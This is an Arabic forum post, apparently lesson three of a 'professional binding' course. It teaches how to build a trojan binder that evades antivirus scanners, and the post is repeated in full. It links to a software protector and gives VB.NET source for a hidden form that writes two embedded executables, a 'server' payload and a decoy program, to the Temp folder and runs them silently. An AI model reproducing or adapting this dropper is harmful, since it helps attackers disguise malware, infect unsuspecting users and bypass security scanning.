السلام عليكم
شخباركم نشالله كل بخير
الدرس الثالث من دوره تلغيم احترافي
عمل تلغيمه تتخطى فاحصين نشالله يعجبكم
اتركم مع شرح
رابط تحميل برنامج Shielden من موقع رسمي
http://www.safengine.com/en-us
كود مستخدم بلشرح
Public Class Form1
Private Property laravirus As Integer
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Opacity = 0
Me.Hide()
Me.ShowInTaskbar = False
Me.ShowIcon = False
On Error Resume Next
laravirus = 1000
Dim devpoint As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim lara As String = devpoint + "server.exe"
IO.File.WriteAllBytes(lara, My.Resources.server)
Process.Start(lara)
laravirus = 1000
Dim devpoint1 As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim lara1 As String = devpoint1 + "program.exe"
IO.File.WriteAllBytes(lara1, My.Resources.program)
Process.Start(lara1)
End
End Sub
End Class
نشالله شرح عجبكم
اخوكم شـــــــــــبح ذي قـــــــــار
شخباركم نشالله كل بخير
الدرس الثالث من دوره تلغيم احترافي
عمل تلغيمه تتخطى فاحصين نشالله يعجبكم
اتركم مع شرح
رابط تحميل برنامج Shielden من موقع رسمي
http://www.safengine.com/en-us
كود مستخدم بلشرح
Public Class Form1
Private Property laravirus As Integer
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Opacity = 0
Me.Hide()
Me.ShowInTaskbar = False
Me.ShowIcon = False
On Error Resume Next
laravirus = 1000
Dim devpoint As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim lara As String = devpoint + "server.exe"
IO.File.WriteAllBytes(lara, My.Resources.server)
Process.Start(lara)
laravirus = 1000
Dim devpoint1 As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim lara1 As String = devpoint1 + "program.exe"
IO.File.WriteAllBytes(lara1, My.Resources.program)
Process.Start(lara1)
End
End Sub
End Class
نشالله شرح عجبكم
اخوكم شـــــــــــبح ذي قـــــــــار